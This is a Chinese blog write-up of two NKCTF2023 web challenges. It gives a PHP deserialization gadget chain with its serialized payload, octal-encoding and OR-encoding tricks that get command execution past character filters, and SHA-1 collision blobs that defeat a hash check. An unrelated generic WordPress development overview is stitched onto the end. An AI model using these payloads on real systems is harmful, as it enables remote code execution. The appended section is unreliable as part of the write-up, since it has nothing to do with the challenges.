NKCTF2023 web wp

文章介绍了在NKCTF中遇到的两个签到题,主要涉及PHP的反序列化漏洞和命令执行的绕过策略。第一个问题利用了Happy->Hello->Welcome的反序列化链,结合系统函数来执行命令。第二个问题中,由于特定字符限制,作者通过8进制编码和特殊构造的命令绕过了限制。文章还提到了使用BP进行调试以及PHP的异或和或操作来绕过过滤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

web新手签到NKCTF,简单记录两个签到题


baby_php

题目主要考点是php反序列化和绕过限制的命令执行(比较不同的是命令执行eval($a($b))的形式与以往不同)

首先反序列化链子是Happy<-Hello<-Welcome,比较简单,主要考点是魔法函数的应用:

然后是命令执行,不能用f、l、a、g字母,所以cat、ls什么的也不能用,而eval($a($b))的形式也限制了很多命令绕过的方法,比如php中的异或如:

而linux环境中也有很多绕过不能用,如利用环境变量,因为$PATH中有A,通配符也不行等等。。

所以最终敲定用8进制编码$shell=system,$cmd=more `echo "\057\0146\061\0141\0147"`,其中运用到了输出字符函数echo、printf(ban了),也运用到了``。(ps需要先(dir /)flag名字是“f1ag”)

链子生成:

<?php
class Welcome{
    public $name;
        public $arg = 'oww!man!!';
        public function __construct(){
            $this->name = 'welcome_to_NKCTF';
        }
}
    class Happy{
            public $cmd='more `echo  "\057\0146\061\0141\0147"`';
            public $shell='system';
          public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            waf($cmd);
            eval($shell($cmd));
        }
    }
    class Hell0{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }
$a=new Welcome();
$b=new Hell0();
$c=new Happy();
$b->func=$c;
$a->arg=$b;
echo serialize($a);
?>

最终payload:

?p==O:7:"Welcome":2:{s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:{s:4:"func";O:5:"Happy":2:{s:3:"cmd";s:38:"more`echo  "\057\0146\061\0141\0147"`";s:5:"shell";s:6:"system";}}}

eazy_php

if绕过都挺简单的,这里主要说一下第二个if卡了很久一开始用hackbar,这是用bp抓取的发现好像:

然后在bp中重新修改:

其它就不多说了

最终是无数字字符的命令执行,可以用php中的异或,脚本参考:

(3条消息) 绕过PHP代码执行中的过滤限制详解_php函数名过滤绕过_H3rmesk1t的博客-CSDN博客

其中的或绕过

最终payload,get:

/?a[]=1&b[]=2&e=114514.1&NS[CTF.go

post

c=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&d=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&cmd=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%00%06%0c%01%07"|"%60%60%60%20%2f%60%60%60%60");
### WordPress Web Development Overview WordPress is a powerful and flexible content management system that can be used to build various types of websites, from simple blogs to complex applications[^1]. For developing with WordPress, understanding its architecture and components is essential. #### Setting Up the Environment To start with WordPress web development, one needs an environment where WordPress can run. This typically involves installing WordPress on a server or local machine using tools like WebStack which simplifies setup processes by automating configurations required for running WordPress efficiently. Once installed, accessing the initial setup page through a browser allows customization options such as entering site details including blog name and email address before finalizing installation via clicking 'Install WordPress' button[^2]. #### Customization Through Themes and Plugins A significant part of WordPress development revolves around customizing themes and plugins: - **Themes**: These control how your website looks visually. - **Plugins**: Extend functionality beyond core features provided out-of-the-box. Developers often modify existing ones or create new solutions tailored specifically towards project requirements. ```php // Example PHP code snippet demonstrating theme modification function my_custom_theme_setup() { add_theme_support('title-tag'); } add_action( 'after_setup_theme', 'my_custom_theme_setup' ); ``` This function adds support for automatic title tags within HTML documents generated by WordPress when this particular theme is active. #### Leveraging REST API for Advanced Functionality The introduction of the REST API has opened up possibilities for integrating external services directly into WordPress sites without needing extensive coding knowledge about internal structures. It enables developers to interact programmatically with almost every aspect of their installations remotely over HTTP requests. For instance, creating posts dynamically based on user input collected elsewhere becomes straightforward thanks to endpoints exposed under `/wp-json/wp/v2/posts`. ```javascript fetch('/wp-json/wp/v2/posts', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ title: "New Post Title", content: "Post Content Here" }) }) .then(response => response.json()) .catch(error => console.error('Error:', error)); ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值